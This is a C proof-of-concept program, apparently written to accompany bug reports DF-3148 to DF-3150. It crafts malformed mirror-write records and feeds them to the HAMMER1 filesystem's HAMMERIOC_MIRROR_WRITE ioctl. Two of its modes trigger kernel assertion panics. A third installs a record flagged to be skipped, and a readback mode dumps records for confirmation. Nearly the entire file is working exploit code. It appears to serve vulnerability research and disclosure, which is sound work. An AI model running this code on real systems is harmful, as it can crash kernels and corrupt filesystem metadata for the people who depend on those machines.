DF-3148 / mirror_poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 | /* * DF-3148 / DF-3149 / DF-3150 - HAMMER1 mirror-write wire-leaf validation PoC * * craft modes: * btype0 - one REC mrec with leaf.base.btype == 0, data_len == 0 * -> hammer_btree_insert() KKASSERT(elm->base.btype != 0) panic * duptid - REC mrec (btype 'R', create_tid T, delete_tid 0) followed by * PASS mrec with delete_tid == T * -> hammer_delete_at_cursor() KKASSERT(delete_tid != create_tid) * nodata - REC mrec with head.type = REC|HAMMER_MRECF_NODATA, data_len 0 * -> dead case in hammer_ioc_mirror_write() switch: record is * installed instead of skipped (proof via readback) * readback- HAMMERIOC_MIRROR_READ the range and dump mrecs * * build: cc -O -o /tmp/mirror_poc /tmp/mirror_poc.c * usage: /tmp/mirror_poc <file-on-hammer-mount> <mode> */ #include <sys/ioctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <fcntl.h> #include <unistd.h> #include <limits.h> /* ---- hand-rolled wire structs (mirror of hammer_ioctl.h / hammer_btree.h) */ struct h_ioc_head { int32_t flags, error, r[4]; }; struct h_base_elm { int64_t obj_id; /* 00 */ int64_t key; /* 08 */ int64_t create_tid; /* 10 */ int64_t delete_tid; /* 18 */ uint16_t rec_type; /* 20 */ uint8_t obj_type; /* 22 */ uint8_t btype; /* 23 */ uint32_t localization; /* 24 */ }; struct h_leaf_elm { struct h_base_elm base; /* 00 */ uint32_t create_ts; /* 40 */ uint32_t delete_ts; /* 44 */ int64_t data_offset; /* 48 */ int32_t data_len; /* 56 */ uint32_t data_crc; /* 60 */ }; struct h_mrec_head { uint32_t signature, rec_crc, rec_size, type; }; struct h_mrec_rec { struct h_mrec_head head; struct h_leaf_elm leaf; }; struct h_mrec_skip { struct h_mrec_head head; struct h_base_elm beg, end; }; struct h_mirror_rw { struct h_ioc_head head; struct h_base_elm key_beg, key_end, key_cur; int64_t tid_beg, tid_end; void *ubuf; int32_t count, size, pfs_id, reserved01; uint8_t shared_uuid[16]; }; _Static_assert(sizeof(struct h_base_elm) == 40, "base_elm"); _Static_assert(sizeof(struct h_leaf_elm) == 64, "leaf_elm"); _Static_assert(sizeof(struct h_mrec_head) == 16, "mrec_head"); _Static_assert(sizeof(struct h_mrec_rec) == 80, "mrec_rec"); _Static_assert(sizeof(struct h_mirror_rw) == 200, "mirror_rw"); #define H_IOC_MIRROR_READ _IOWR('h', 7, struct h_mirror_rw) #define H_IOC_MIRROR_WRITE _IOWR('h', 8, struct h_mirror_rw) #define SIG 0x4dd97272U #define T_REC 1 #define T_PASS 6 #define F_NODATA 0x10000000U #define BT_RECORD 0x52 /* 'R' */ #define RT_DB 0x0012 #define DOALIGN(x) (((x) + 15) & ~15) #define OBJID 0x1234 #define KEYV 0x100 #define CTID 0x1000 /* create_tid */ static void fill_base(struct h_base_elm *b, int64_t del_tid, uint8_t btype) { memset(b, 0, sizeof(*b)); b->obj_id = OBJID; b->key = KEYV; b->create_tid = CTID; b->delete_tid = del_tid; b->rec_type = RT_DB; b->obj_type = 0; b->btype = btype; b->localization = 0; /* PFS0 + no type bits */ } static void mk_rec(struct h_mrec_rec *m, uint32_t type, int64_t del_tid, uint8_t btype) { memset(m, 0, sizeof(*m)); m->head.signature = SIG; m->head.rec_crc = 0; /* kernel never validates head rec_crc */ m->head.rec_size = sizeof(*m); m->head.type = type; fill_base(&m->leaf.base, del_tid, btype); m->leaf.data_offset = 0; m->leaf.data_len = 0; /* skip alloc/copyin/crc entirely */ m->leaf.data_crc = 0; } static void setup_mirror(struct h_mirror_rw *m, void *buf, int buflen) { memset(m, 0, sizeof(*m)); memset(&m->key_beg, 0, sizeof(m->key_beg)); memset(&m->key_end, 0x7f, sizeof(m->key_end)); /* INT64_MAX fields */ m->key_end.rec_type = 0xFFFF; m->key_end.obj_type = 0; m->key_end.btype = 0; m->key_end.localization = 0xFFFF; m->key_cur = m->key_beg; m->tid_beg = 1; /* create_tid(0x1000) >= tid_beg */ m->tid_end = 0x7FFFFFFFFFFFFFFFLL; m->ubuf = buf; m->count = 0; m->size = buflen; m->pfs_id = 0; } int main(int argc, char **argv) { struct h_mirror_rw mirror; char buf[4096]; const char *mode; int fd, rc; if (argc != 3) { fprintf(stderr, "usage: %s <file> btype0|duptid|nodata|readback\n", argv[0]); return 2; } mode = argv[2]; fd = open(argv[1], O_RDWR); if (fd < 0) { perror("open"); return 2; } if (strcmp(mode, "readback") == 0) { struct h_mrec_head *h; int off; setup_mirror(&mirror, buf, sizeof(buf)); rc = ioctl(fd, H_IOC_MIRROR_READ, &mirror); printf("MIRROR_READ rc=%d error=%d count=%d\n", rc, mirror.head.error, mirror.count); for (off = 0; off + 16 <= mirror.count; off += DOALIGN(h->rec_size)) { struct h_mrec_rec *r = (struct h_mrec_rec *)&buf[off]; h = (struct h_mrec_head *)&buf[off]; printf(" mrec[%d] sig=%08x type=%08x rec_size=%u " "obj=%llx key=%llx ctid=%llx dtid=%llx btype=%02x " "rt=%04x loc=%08x dlen=%d\n", off, h->signature, h->type, h->rec_size, (unsigned long long)r->leaf.base.obj_id, (unsigned long long)r->leaf.base.key, (unsigned long long)r->leaf.base.create_tid, (unsigned long long)r->leaf.base.delete_tid, r->leaf.base.btype, r->leaf.base.rec_type, r->leaf.base.localization, r->leaf.data_len); } return 0; } setup_mirror(&mirror, buf, sizeof(buf)); if (strcmp(mode, "btype0") == 0) { /* DF-3148: single REC, btype == 0 -> hammer_btree.c KKASSERT */ struct h_mrec_rec *m = (struct h_mrec_rec *)&buf[0]; mk_rec(m, T_REC, 0, 0); /* btype 0 */ mirror.count = 0; mirror.size = DOALIGN(sizeof(*m)); } else if (strcmp(mode, "duptid") == 0) { /* * DF-3149: create a well-formed record (btype 'R', * delete_tid 0), then PASS with delete_tid == create_tid * -> hammer_object.c KKASSERT */ struct h_mrec_rec *m1 = (struct h_mrec_rec *)&buf[0]; struct h_mrec_rec *m2 = (struct h_mrec_rec *)&buf[DOALIGN(sizeof(*m1))]; mk_rec(m1, T_REC, 0, BT_RECORD); /* create */ mk_rec(m2, T_PASS, CTID, BT_RECORD); /* delete == create */ mirror.count = 0; mirror.size = 2 * DOALIGN(sizeof(*m1)); } else if (strcmp(mode, "nodata") == 0) { /* DF-3150: NODATA-flagged REC should be skipped, isn't */ struct h_mrec_rec *m = (struct h_mrec_rec *)&buf[0]; mk_rec(m, T_REC | F_NODATA, 0, BT_RECORD); mirror.count = 0; mirror.size = DOALIGN(sizeof(*m)); } else { fprintf(stderr, "bad mode\n"); return 2; } printf("issuing HAMMERIOC_MIRROR_WRITE mode=%s size=%d...\n", mode, mirror.size); fflush(stdout); rc = ioctl(fd, H_IOC_MIRROR_WRITE, &mirror); printf("MIRROR_WRITE rc=%d head.error=%d head.flags=%08x count=%d\n", rc, mirror.head.error, mirror.head.flags, mirror.count); if (mirror.head.error) printf("=> kernel REJECTED the stream (error %d)\n", mirror.head.error); else printf("=> stream processed\n"); return 0; } |